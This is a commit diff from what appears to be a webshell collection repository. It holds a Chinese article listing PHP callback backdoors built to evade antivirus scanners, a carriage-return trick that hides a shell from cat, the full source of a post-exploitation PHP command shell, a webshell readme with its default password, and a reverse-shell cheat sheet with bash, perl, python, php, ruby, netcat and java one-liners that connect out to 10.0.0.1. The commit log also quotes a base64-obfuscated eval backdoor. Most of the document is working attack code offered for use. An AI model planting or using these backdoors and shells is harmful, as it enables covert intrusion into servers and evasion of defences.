+这个后门，狗查不出来，但D盾还是有感应，报了个等级3（显然比之前的等级4要低了）：
+
+
+类似'''array_filter'''，'''array_map'''也有同样功效：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'],);
+    array_map(base64_decode($e), $arr);
+
+依旧被D盾查杀。
+
+果然，简单的数组回调后门，还是很容易被发现与查杀的。
+
+0x03 php5.4.8+中的assert
+
+php 5.4.8+后的版本，assert函数由一个参数，增加了一个可选参数descrition：
+
+
+这就增加（改变）了一个很好的“执行代码”的方法assert，这个函数可以有一个参数，也可以有两个参数。那么以前回调后门中有两个参数的回调函数，现在就可以使用了。
+
+比如如下回调后门：
+
+    $e = $_REQUEST['e'];
+    $arr = array('test', $_REQUEST['pass']);
+    uasort($arr, base64_decode($e));
+
+这个后门在php5.3时会报错，提示assert只能有一个参数：
+
+
+php版本改作5.4后就可以执行了：
+
+
+这个后门，狗和盾是都查不出来的：
+
+
+同样的道理，这个也是功能类似：
+
+    $e = $_REQUEST['e'];
+    $arr = array('test' => 1, $_REQUEST['pass'] => 2);
+    uksort($arr, $e);
+
+再给出这两个函数，面向对象的方法：
+
+// way 0
+
+    $arr = new ArrayObject(array('test', $_REQUEST['pass']));
+    $arr->uasort('assert');
+ 
+// way 1
+
+    $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
+    $arr->uksort('assert');
+
+再来两个类似的回调后门：
+
+    $e = $_REQUEST['e'];
+    $arr = array(1);
+    $e = $_REQUEST['e'];
+    
+    $arr = array($_POST['pass']);
+    $arr2 = array(1);
+    array_udiff($arr, $arr2, $e);
+
+以上几个都是可以直接菜刀连接的一句话，但目标PHP版本在5.4.8及以上才可用。
+
+我把上面几个类型归为：二参数回调函数（也就是回调函数的格式是需要两个参数的）
+
+0x04 三参数回调函数
+
+有些函数需要的回调函数类型比较苛刻，回调格式需要三个参数。比如'''array_walk'''。
+
+'''array_walk'''的第二个参数是callable类型，正常情况下它是格式是两个参数的，但在0x03中说了，两个参数的回调后门需要使用php5.4.8后的assert，在5.3就不好用了。但这个回调其实也可以接受三个参数，那就好办了：
+
+
+php中，可以执行代码的函数：
+
+1.  一个参数：'''assert'''
+2.  两个参数：'''assert （php5.4.8+'''）
+3.  三个参数：'''preg_replace /e模式'''
+三个参数可以用'''preg_replace'''。所以我这里构造了一个'''array_walk'''+ '''preg_replace'''的回调后门：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'] => '|.*|e',);
+    array_walk($arr, $e, '');
+
+如图，这个后门可以在5.3下使用：
+
+
+但强大的D盾还是有警觉（虽然只是等级2）：
+
+不过呵呵，PHP拥有那么多灵活的函数，稍微改个函数（'''array_walk_recursive'''）D盾就查不出来了：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'] => '|.*|e',);
+    array_walk_recursive($arr, $e, '');
+
+不截图了。
+
+看了以上几个回调后门，发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能，还有几个类似的：
+
+    mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
+
+另一个：
+
+    echo preg_filter('|.*|e', $_REQUEST['pass'], '');
+
+这两个一句话都是不杀的：
+
+好用的一句话，且用且珍惜呀。
+
+0x05 无回显回调后门
+
+回调后门里，有个特殊的例子：ob_start。
+
+ob_start可以传入一个参数，也就是当缓冲流输出时调用的函数。但由于某些特殊原因（可能与输出流有关），即使有执行结果也不在流里，最后也输出不了，所以这样的一句话没法用菜刀连接：
+
+    ob_start('assert');
+    echo $_REQUEST['pass'];
+    ob_end_flush();
+
+但如果执行一个url请求，用神器cloudeye还是能够观测到结果的：
+
+
+即使没输出，实际代码是执行了的。也算作回调后门的一种。
+
+0x06 单参数后门终极奥义
+
+'''preg_replace'''、三参数后门虽然好用，但/e模式php5.5以后就废弃了，不知道哪天就会给删了。所以我觉得还是单参数后门，在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门
+
+    $e = $_REQUEST['e'];
+    register_shutdown_function($e, $_REQUEST['pass']);
+
+这个是php全版本支持的，且不报不杀稳定执行：
+
+
+再来一个：
+
+    $e = $_REQUEST['e'];
+    declare(ticks=1);
+    register_tick_function ($e, $_REQUEST['pass']);
+
+再来两个：
+
+    filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
+
+这两个是filter_var的利用，php里用这个函数来过滤数组，只要指定过滤方法为回调（FILTER_CALLBACK），且option为assert即可。
+
+这几个单参数回调后门非常隐蔽，基本没特征，用起来很6.
+
+0x07 数据库操作与第三方库中的回调后门
+
+回到最早微博上发出来的那个sqlite回调后门，其实sqlite可以构造的回调后门不止上述一个。
+
+我们可以注册一个sqlite函数，使之与assert功能相同。当执行这个sql语句的时候，就等于执行了assert。所以这个后门我这样构造：
+
+    $e = $_REQUEST['e'];
+    $db = new PDO('sqlite:sqlite.db3');
+    $db->sqliteCreateFunction('myfunc', $e, 1);
+    $sth = $db->prepare("SELECT myfunc(:exec)");
+    $sth->execute(array(':exec' => $_REQUEST['pass']));
+
+执行之：
+
+上面的sqlite方法是依靠PDO执行的，我们也可以直接调用sqlite3的方法构造回调后门：
+
+
+    $e = $_REQUEST['e'];
+    $db = new SQLite3('sqlite.db3');
+    $db->createFunction('myfunc', $e);
+    $stmt = $db->prepare("SELECT myfunc(?)");
+    $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
+    $stmt->execute();
+
+前提是php5.3以上。如果是php5.3以下的，使用sqlite_*函数，自己研究我不列出了。
+
+这两个回调后门，都是依靠php扩展库（pdo和sqlite3）来实现的。其实如果目标环境中有特定扩展库的情况下，也可以来构造回调后门。 比如php_yaml：
+
+
+    $str = urlencode($_REQUEST['pass']);
+    $yaml = <<<EOD
+    greeting: !{$str} "|.+|e"
+    EOD;
+    $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
+
+还有php_memcached：
+
+    $mem = new Memcache();
+    $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
+    $mem->connect($_REQUEST['pass'], 11211, 0);
+
+自行研究吧。
+
+0x08 其他参数型回调后门
+
+上面说了，回调函数格式为1、2、3参数的时候，可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目，或者参数类型不是简单字符串，怎么办？
+
+举个例子，php5.5以后建议用'''preg_replace_callback'''代替'''preg_replace'''的/e模式来处理正则执行替换，那么其实'''preg_replace_callback'''也是可以构造回调后门的。
+
+'''preg_replace_callback'''的第二个参数是回调函数，但这个回调函数被传入的参数是一个数组，如果直接将这个指定为assert，就会执行不了，因为assert接受的参数是字符串。
+
+所以我们需要去“构造”一个满足条件的回调函数。
+
+怎么构造？使用create_function：
+
+    preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
+
+“创造”一个函数，它接受一个数组，并将数组的第一个元素$arr[0]传入assert。
+
+这也是一个不杀不报稳定执行的回调后门，但因为有create_function这个敏感函数，所以看起来总是不太爽。不过也是没办法的事。 类似的，这个也同样：
+
+
+    mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
+
+再来一个利用CallbackFilterIterator方法的回调后门：
+
+    $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
+    foreach ($iterator as $item) {
+    echo $item;}
+
+这里也是借用了create_function来创建回调函数。但有些同学就问了，这里创建的回调函数只有一个参数呀？实际上这里如果传入assert，是会报错的，具体原因自己分析。
+
+0x09 后记
+
+这一篇文章，就像一枚核武器，爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后，会有一些小动作。不过我既然敢写出来，那么我就敢保证这些方法是多么难以防御。
+
+实际上，回调后门是灵活且无穷无尽的后门，只要php还在发展，那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门，光光去指哪防哪肯定是不够的。
+
+简单想一下，只有我们去控制住assert、preg_replace这类函数，才有可能防住这种漏洞。
+
+[link-zh-cn](http://drops.wooyun.org/tips/7279)
+[link-en](http://translate.wooyun.io/2015/07/28/The-Secrets-of-Creating-Tips-PHP-Reverse-Backdoors.html)
--- a/php/tw/2015-09-12.md
+++ b/php/tw/2015-09-12.md
@@ -0,0 +1,15 @@
+Disguising a PHP Micro Webshell 
+
+`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` 
+
+url : http://t.co/YFm6QlpK0k
+
+vist browser  page show `A PHP Test`
+
+then in console use `cat xxx.php`
+it show `<?php echo 'A PHP Test ';" ?>`
+
+then in console run
+`curl -d 1=id http://www.xxx.xx/xx.php`
+
+it like in console show command `id`  
--- a/php/wpes/readme.md
+++ b/php/wpes/readme.md
@@ -0,0 +1,18 @@
+# &#128026; WeakNet PHP Execution Shell
+This is a simple <b>Post-exploitation PHP Exec Shell</b> that I wish to expand upon. It is only text, no images, or pulled scripts, etc. Just one single file. I have added support for traversing directories that are listed by <code>ls</code> commands and even <code>cat</code> for files listed. This shell comes with WEAKERTHAN Linux 6+<br />
+<br />
+# Screenshots
+Here is a screenshot of the interface with a simple ls command on an exploited server. Click on the image to view it full sized.
+<img src="https://weaknetlabs.com/images/wpes_10_new.PNG"/> <br /><br />
+Here is a screenshot of simple file contents. Click on the image to view it full sized.
+<img src="http://weaknetlabs.com/images/wpes_8_new_new.PNG"/> <br /><br />
+And here is what the file looks like when the user clicks "Download File". Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_9_new.PNG"/> <br /><br />
+A screenshot showing how to access the ARIN query that is generated using PHP. Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_7_noo.png"/> <br /><br />
+A screenshot showing how to access the Exploit-DB query that is generated using PHP. Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_6.png"/> <br /><br />
+A screenshot showing off the PHP generaqted link for the Google "site:&lt;target>" search. Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_7_b.png"/> <br /><br />
+
+[link](https://github.com/weaknetlabs/wpes)
--- a/php/wpes/wpes-v0.2.php
+++ b/php/wpes/wpes-v0.2.php
@@ -0,0 +1,255 @@
+<!DOCTYPE html>
+<html>
+<!--
+	WeakNet PHP Execution Shell - Post-exploitation shell for convenience
+	with navigation, and file content showing capabilities
+	version 0.2
+	2015 - Written by Douglas WeakNetLabs@Gmail.com
+-->
+<head>
+<title>Weakerthan PHP Exec Shell - 2015 WeakNet Labs</title>
+<style>
+	html{ /* global styling */
+		font-family:"Open Sans", sans-serif;
+		background-color:#3c3c3c;
+		color:#729fcf;
+	}
+	.inputCMD{ /* input parent box at the bottom */
+		border-top:3px solid #666;
+		position:fixed;
+		bottom:0px;
+		left:0px;
+		width:100%;
+		padding:20px 0px 20px 10px;
+		background:#262626;
+	}
+	.cmdTitle{ /* a simple span to differentiate the command from the title */
+		font-size:14px;
+		color:yellow;
+		font-family:monospace;
+	}
+	input[type=text]{ /* making input look a bit more modern */
+		font-size:15px;
+		background-color:#353535;
+		color:yellow;
+		padding:10px;
+		border:2px solid #2e2e2e;
+		float:left;
+		margin:5px 0px 0px 0px;
+		transition-property: background-color;
+		transition-duration: 2s;
+	}
+	input[type=text]:hover{ /* making input look a bit more modern */
+		background-color:#545454;
+	}
+	.titleBar{ /* this parent div is positioned */
+		position:fixed; 
+		top:0px;
+		left:0px;
+		width:100%;
+		height:50px;
+		background:#2a2a2a;
+		border-bottom:3px solid #666;
+		padding-bottom:5px;
+	}
+	.title{ /* this div is to vertically center the child, titleCenter */
+		display: table-cell;
+		vertical-align: middle;
+		padding:10px 0px 10px 10px;
+	}
+	.titleCenter{ /* vertically centered in middle of ".title" */
+		height:25px;
+		margin:auto;
+		display: inline-block;
+	}
+	.output{ /* command output box with scolled overlfow */
+		font-family: monospace;
+		font-size:14px;
+		margin:70px 0px 0px 0px;
+		overflow:scrolled;
+		padding: 5px 5px 150px 5px; /* to show command output behind the inputCMD bar */
+		color:#ccc;
+		background-color:#565656;
+		width:74%;
+	}
+	.unicode{ /* display a pointer on hover */
+		cursor:pointer;
+	}
+	.serverInfo{ /* for small box on top right for server information */
+		border:2px solid #666;
+		position:fixed;
+		top:10px;
+		right:10px;
+		z-index:1337;
+		background:#2e2e2e;
+		color:#729fcf;
+		padding:5px;
+		font-size:14px;
+	}
+	.branding{ /* for a link to the GitHUB page */
+		float:right;
+		font-size:15px;
+		margin-right:20px;
+		height:40px; /* because of padding t,b of inputCMD */
+	}
+	a{ /* why can't this be non hideous by default? */
+		text-decoration:none;
+		color:#729fcf;
+	}
+	a:hover{
+		text-decoration:underline; /* to differentiate, i guess */
+	}
+	button{
+		margin:5px 0px 0px 10px;
+		color:#729fcf;
+		padding:10px;
+		background-color:#353535;
+		border:2px solid #2e2e2e;
+		float:left;
+		transition-property: background-color;
+		transition-duration: 2s;
+	}
+	button:hover{
+		background-color:#545454;
+	}
+	/* these are for styling the tbale output of the .serverInfo box: */
+	tr:nth-child(even) {background: #202020}
+	tr:nth-child(odd) {background: #343434}
+	td{ padding:3px;}
+</style>
+<script>
+	// for dynamically generating navigation from output
+	function submitFile(path,file,action){
+		if(action == "cat"){
+			document.getElementById("inputCmd").value='cat ' + path + file; // TODO change to while read foo do echo foo
+		}else if(action == "ls"){
+			document.getElementById("inputCmd").value='ls -l ' + path + file; // TODO change to while read foo do echo foo
+		}
+		document.getElementById("submitCmd").submit(); // submit the request
+	}
+	function execType(type){
+		document.getElementById('execType').value=type; // Just set the type here and the PHP POST will pick it up
+	}
+</script>
+</head>
+<body>
+<?php
+	if (!$_POST['cmd']) { # initial hit to the page
+		$cmd = "(none) Please type a command to execute below";
+		$output = "WeakNet Post-Exploitation PHP Execution Shell is free, redistributable software. It has no warranty for the program, "
+			."to the extent permitted by applicable law. WeakNet Laboratories is no liable to you for damages, including any general,"
+			." special, incidental or consequential damages arising out of the use or inability to use the program. <br /><br />This"
+			." program should only be used on systems that the penetration tester has permission to use or owns."
+			."<br /><br />To begin, please type a command below. For help please refer to the GitHUB Readme.md file by clicking on the"
+			." link on the bottom left. Thank you for choosing WeakNet Labs!";
+	}else{
+		$cmd = $_POST['cmd']; # reassign is easier to read
+		if($_POST['execType'] == "exec"){ 
+			exec("$cmd 2>/dev/stdout",$results); # a command, let's execute it on the host
+		}elseif($_POST['execType'] == "system"){ 
+			system("$cmd 2>/dev/stdout",$results); # use system() in case exec() was disabled in PHP.ini
+		}elseif($_POST['execType'] == "passthru"){
+			passthru("$cmd 2>/dev/stdout",$results); # use passthru for command execution/injection
+		}elseif($_POST['execType'] =="shell_exec"){
+			$results = shell_exec("$cmd 2>/dev/stdout"); # use shell_exec (similar to backtick operators, or $() in Bash)
+		}
+	}
+	echo "<div class=\"titleBar\"><div class=\"title\"><div class=\"titleCenter\"><span style=\"font-size:35px;\">&#128026; WPES</span> Displaying results for command: ".
+		" <span class=\"cmdTitle\">".$cmd."</span></div></div></div>";
+?>
+<!-- This is where the outpu of the command goes -->
+<div class="output">
+<?php
+	if($_POST['cmd']){ # a command was passed, parse output:
+		foreach(array_slice($results,1,count($results)) as $output) { # let's format the output, in case it contains HTML characters:
+			$raw = implode ('\n',$results); # save the raw form for downloading
+			$exploded = explode(" ", $output);
+			$file = array_pop($exploded);
+			$path = preg_replace("/.*\s([^ ]+)$/","$1","$cmd"); # get full path
+			if(!preg_match("/\/$/","$path")){ # add a fwd slash:
+				$path .= "/";
+			} # now we can style the regular file output:
+			$output = preg_replace("/&/","&amp;",$output); # replace all ampersands
+			$output = preg_replace("/</","&lt;",$output); # replace all less thanh (open HTML tag brackets)
+			$output = preg_replace("/\s/","&nbsp;",$output); # replace all whitespace
+			if(preg_match("/^ls -l\s/","$cmd")){ # is this an ls command?
+				if(!preg_match("/^d/","$output")){
+					echo "<span style=\"color:yellow\" title=\"Click here view file contents\" class=\"unicode\" onClick=\"submitFile('$path','$file','cat');\">&#128049;</span>&nbsp;".$output."<br />";
+				}else{
+	    				echo "<span style=\"color:#00ce05\" title=\"Click here to view directory contents\" class=\"unicode\" onClick=\"submitFile('$path','$file','ls');\">&#128269;</span>&nbsp;".$output."<br />";
+				}
+			}else{
+	    			echo $output."<br />";
+			}
+		}
+	}else{
+		echo $output."<br />"; # dump message
+	}
+?>
+<script>
+	// this is seemingly randomly placement, but I am using PHP to write the file contents that I need to retrieve first
+	function saveFile(){
+		window.open('data:text/plain;charset=utf-8,' + escape('<?php $contents = preg_replace("/(\(|\)|\$|')/","$1",$raw); echo $contents; ?>'));
+	}
+</script>
+<!-- Download the file -->
+<?php
+	if($_POST['downloadFile']){ # pass download, by clicking on the download button
+		if($_POST['downloadFile'] == 1){ # 0 for non download 1 for download
+			$abspath = $path . $file; # 	create an absolute path to the file
+			if (file_exists($abspath)) { # does the file exist?
+				header('Content-Description: File Transfer');
+				header('Content-Type: application/octet-stream');
+				header('Content-Disposition: attachment; filename="'.basename($abspath).'.txt"');
+				header('Expires: 0');
+				header('Cache-Control: must-revalidate');
+				header('Pragma: public');
+				header('Content-Length: ' . filesize($abspath));
+				readfile($abspath);
+			}
+		}
+	}
+?>
+</div>
+<!-- The input box and whole bottom bar -->
+<div class="inputCMD">
+	<strong>PHP Exec Function: </strong> 
+		<a href="http://php.net/manual/en/function.exec.php">exec()</a><input type="radio" <?php if(!$_POST['execType']){echo "checked"; }else{if($_POST['execType'] == "exec"){echo "checked";} } ?> 
+			name="execType" value="exec" onClick="execType('exec')"/> 
+		<a href="http://php.net/manual/en/function.system.php">system()</a><input onClick="execType('system')" <?php if($_POST['execType']){if($_POST['execType'] == "system"){echo "checked";} } ?> 
+			type="radio" name="execType" value="system" /> 
+		<a href="http://php.net/manual/en/function.passthru.php">passthru()</a><input onClick="execType('passthru')" <?php if($_POST['execType']){if($_POST['execType'] == "passthru"){echo "checked";} } ?>
+			type="radio" name="execType" value="passthru" />
+		<a href="http://php.net/manual/en/function.shell-exec.php">shell_exec()</a><input onClick="execType('shell_exec')" <?php if($_POST['execType']){if($_POST['execType'] == "shell_exec"){echo "checked";} } ?>
+			type="radio" name="execType" value="shell_exec" /><br />
+	<form action="#" method="post" name="submitCmd" id="submitCmd"><!-- no button here, just hit enter -->
+		<input id="inputCmd" type="text" size="55" placeholder="Type command here to execute on host and hit return" name="cmd"/>
+		<input type="hidden" value="<?php if($_POST['execType'] != ""){echo $_POST['execType'];}else{echo "exec";} ?>" name="execType" id="execType"/>
+		<button type="button" onClick="saveFile();">Download File</button>
+	</form><!-- went with POST method to slightly obfuscate the attacker's activity from simple Apache logs -->
+<!-- The band name on the bottom left -->
+<div class="branding">
+	<a href="https://github.com/weaknetlabs/wpes">&#128026; WPES WeakNet Labs</a>
+</div>
+<!-- The Server info box -->
+<div class="serverInfo">
+	<table>
+		<tr><strong style="font-size:16px;">&#128225; Remote Server Information &#128225;</strong></tr>
+		<tr><td>IP</td><td><?php echo "<a title=\"Check ARIN database for this IP address information.\" target=\"_blank\" href=\"http://whois.arin.net/rest/nets;q=".$_SERVER['SERVER_ADDR']
+			."?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2\">"
+			.$_SERVER['SERVER_ADDR']."</a>"; ?>
+		</td</tr>
+		<?php # let's create an exploit-db search link
+			$software = preg_replace("/\//","%20",$_SERVER['SERVER_SOFTWARE']); # get rid of fwd slashes
+			$software = preg_replace("/\([^)]+\)/","",$software); # get rid of OS version
+		?>
+		<tr><td>Hostname</td><td><?php echo "<a target=\"blank\" href=\"https://www.google.com/?gws_rd=ssl#q=site:".$_SERVER['SERVER_NAME']."\">".$_SERVER['SERVER_NAME']."</a>"; ?></td</tr>
+		<tr><td>Software</td><td><?php echo "<a target=\"blank\" title=\"Check for exploits for this software using Exploit-DB.\" href=\"https://www.exploit-db.com/search/?action=search&description=".$software."&e_author=\">".$_SERVER['SERVER_SOFTWARE']."</a>"; ?></td</tr>
+		<tr><td>Timestamp</td><td><?php echo $_SERVER['REQUEST_TIME']; ?></td</tr>
+		<tr><td>Admin</td><td><?php echo "<a target=\"_blank\" title=\"Email administrator.\" href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" ?></td</tr>
+	</table>
+</div>
+</body>
+</html>
+Status API Training Shop Blog About Pricing
+© 2015 GitHub, Inc. Terms Privacy Security Contact Help
--- a/php/wso/WSO_4_0_5.php
+++ b/php/wso/WSO_4_0_5.php
--- a/php/wso/readme.md
+++ b/php/wso/readme.md
@@ -0,0 +1,36 @@
+wso phpshell url: https://github.com/HARDLINUX/webshell
+
+author:twepl
+
+
+#PHP webshell / File manager
+Новый Web Shell WSO на php 2015 года
+
+На данный момент считаеться самый лучший Web Shell из всех
+
+GitHub: https://github.com/HARDLINUX/webshell
+
+ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Это только в целях тестирования и могут быть использованы только там, где строго было дано согласие. Не используйте это для незаконных целей.
+
+DISCLAIMER: This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.
+
+### Bugs and enhancements
+For bug reports or enhancements, please open an issue here: https://github.com/HARDLINUX/webshell/issues
+
+Это PHP Shell является полезным инструментом для системы или веб-администратором, чтобы сделать удаленное управление без использования CPanel, подключении с помощью SSH, FTP и т.д. Все действия происходят в веб-браузере
+
+This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser
+##Пароль: admin
+## Скриншот
+![](http://cs621518.vk.me/v621518400/d6ad/e3CgJxw9ThA.jpg)
+
+#Donate ~(￣▽￣)~
+Bitcoin-адрес: 1CJehqxoaz8bnGmqNGf1RZ7dmtKWGNt5KM
+
+Яндекс.Деньги: 410012298324261
+
+WebMoney WMR: R180357107644
+
+WebMoney WMZ: Z183801665529
+
+WebMoney WME: E150418742890
--- a/php/wso/wso-4.1.3.php
+++ b/php/wso/wso-4.1.3.php
--- a/php/wso/wso-4.2.0.php
+++ b/php/wso/wso-4.2.0.php
--- a/php/wso/wso-4.2.1.php
+++ b/php/wso/wso-4.2.1.php
--- a/php/wso/wso-4.2.2.php
+++ b/php/wso/wso-4.2.2.php
--- a/php/wso/wso-4.2.3.php
+++ b/php/wso/wso-4.2.3.php
--- a/rec/readme.md
+++ b/rec/readme.md
@@ -0,0 +1,69 @@
+Bash
+Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
+
+```bash
+bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
+```
+
+PERL
+Here’s a shorter, feature-free version of the perl-reverse-shell:
+
+```perl
+perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
+```
+There’s also an alternative PERL revere shell here.
+
+Python
+This was tested under Linux / Python 2.7:
+
+```python
+python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
+```
+
+PHP
+This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
+
+```php
+php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
+```
+If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
+
+Ruby
+
+```ruby
+ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
+```
+
+Netcat
+Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
+
+```bash
+nc -e /bin/sh 10.0.0.1 1234
+```
+If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
+
+```bash
+rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
+```
+
+Java
+
+```java
+r = Runtime.getRuntime()
+p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
+p.waitFor()
+```
+
+[Untested submission from anonymous reader]
+
+xterm
+One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
+
+```bash
+xterm -display 10.0.0.1:1
+```
+
+To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
+Xnest :1
+You’ll need to authorise the target to connect to you (command also run on your host):
+xhost +targetip
Author	SHA1	Message	Date
tennc	0847517820	add Ridter'Pentest backdoor tools @Ridter 👍	2016-03-02 11:48:51 +08:00
tennc	1ace28d60b	create version 4.2.3 @twepl 👍 form : https://github.com/HARDLINUX/webshell	2016-01-25 14:57:57 +08:00
tennc	626bc6a486	create version 4.2.2 @twepl 👍 form : https://github.com/HARDLINUX/webshell	2016-01-11 13:37:25 +08:00
tennc	6d480c737d	Create z-2016-01-05.php password: z from : zone.wooyun.org	2016-01-05 20:53:06 +08:00
tennc	77ccd336c5	create version 4.2.1 @twepl 👍	2015-12-27 11:35:18 +08:00
tennc	067ed71861	create readme.md @twepl 👍	2015-12-27 11:31:57 +08:00
tennc	70dcf0e796	Create wso-4.2.0.php	2015-12-26 11:03:49 +08:00
tennc	4b4b299426	update other shell repository @tanjiti 👍	2015-12-25 14:13:53 +08:00
tennc	242e1db98b	Create sqzr.php password: sqzr caidao shell $mpy = create_function('', base64_decode("IEBldmFsKCRfUE9TVFsnc3F6ciddKTs=")); $mpy();	2015-12-25 14:04:47 +08:00
tennc	3fc2d3a889	Create good_1.asp 当参数task=1时如果你传递参数 http://222.39.14.164/xdexdb4w.asp;.txt?task=1&paths=jtgw&nnfilename=1.asp&content=lalla 参数说明 task：执行命令的id paths:在哪个文件夹写文件（如果是空，则在在最后一个文件夹下写入文件） nnfilename：文件名 content：文件内容主要这个被写出来的文件被隐藏成为系统文件类型，而且是文件为只读当task=2时当传递的参数为 http://localhost/1.asp?task=2&paths=&defaulthtml=mengmeng&nnfilename=1.txt&content=mamama 这个功能只是比上一个多出来了一个创建文件夹的功能 defaulthtml：创建的文件夹名字 from: zone.wooyun.org	2015-12-17 09:55:51 +08:00
tennc	52cccb6308	Create x.jsp	2015-11-30 22:56:17 +08:00
tennc	f52e977b24	Create shell1.jsp	2015-11-30 22:54:45 +08:00
tennc	1415965584	Rename t00ls.jsp to t00ls1.jsp	2015-11-30 22:54:11 +08:00
tennc	08c970a69a	Create ha.jsp	2015-11-30 22:51:44 +08:00
tennc	c94962d51a	Create dy.jsp	2015-11-30 22:50:17 +08:00
tennc	eca96146e9	add wso-4.1.3.php @twepl 👍 from : https://github.com/HARDLINUX/webshell	2015-11-24 13:27:44 +08:00
tennc	7e295e77ec	add reverse-shell-cheat-sheet from : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet	2015-11-06 13:50:00 +08:00
tennc	0d5688e8eb	add w-ob_start02.php author : isno from : wooyun.org success running PHP5.3.3 >=	2015-10-29 20:30:34 +08:00
tennc	e046b28382	add w-ob_start01.php from : wooyun.org author : isno	2015-10-29 20:28:44 +08:00
tennc	777cd7a179	Create readme.md author : Jeary	2015-10-22 12:23:20 +08:00
tennc	5942cda7f1	add netspy.jsp author : Jeary from : zone.wooyun.org	2015-10-22 12:21:56 +08:00
tennc	89262988cd	Update short_shell.md	2015-10-19 23:48:43 +08:00
tennc	e9646d4cc8	Create short_shell.md from : zone.wooyun.com author : RedFree	2015-10-19 23:45:30 +08:00
tennc	8f18e861e2	add reademe.md @weaknetlabs 👍 link : https://github.com/weaknetlabs/wpes	2015-10-11 10:21:13 +08:00
tennc	8a73f19be9	add wpes-v0.2.php @weaknetlabs :+1+	2015-10-11 10:16:12 +08:00
tennc	d9c808ea3f	Update php一句话	2015-09-27 16:16:04 +08:00
tennc	e8d1be08ed	Rename php一句话.md to php一句话	2015-09-21 17:02:09 +08:00
tennc	2acbcdf6d5	Update php一句话.md	2015-09-21 17:01:45 +08:00
tennc	14825d7f6f	Rename php一句话 to php一句话.md	2015-09-21 16:59:51 +08:00
tennc	ab3dabfbf5	Update php一句话	2015-09-21 16:59:34 +08:00
tennc	d46edd2712	add yijuhua.jsp from : https://github.com/qingxp9/webshell/blob/master/my/yijuhua.jsp	2015-09-14 00:17:17 +08:00
tennc	d9abc3c62e	Update and rename 2015-09-12.php to 2015-09-12.md	2015-09-12 22:31:02 +08:00
tennc	2b600b7e52	Create 2015-09-12.php	2015-09-12 22:15:31 +08:00
tennc	fca1830fde	Update tips.md add link-en	2015-07-29 09:26:46 +08:00
tennc	f45ac7dded	add WSO_4_0_5.php @twepl 👍 ver : 4.0.5 password : admin author : HARD _LINUX url : https://github.com/HARDLINUX/webshell	2015-07-25 15:19:33 +08:00
tennc	24681c74a6	Delete wl168168.php it running error	2015-07-23 16:25:46 +08:00
tennc	b14ecbafe6	Create w.jsp from : zone.wooyun.org	2015-07-22 08:08:10 +08:00
tennc	1ff8e28c8e	Update tips.md	2015-07-20 17:59:17 +08:00
tennc	dcdda489b8	Create tips.md author : phith0n url : http://drops.wooyun.org/tips/7279	2015-07-20 17:55:16 +08:00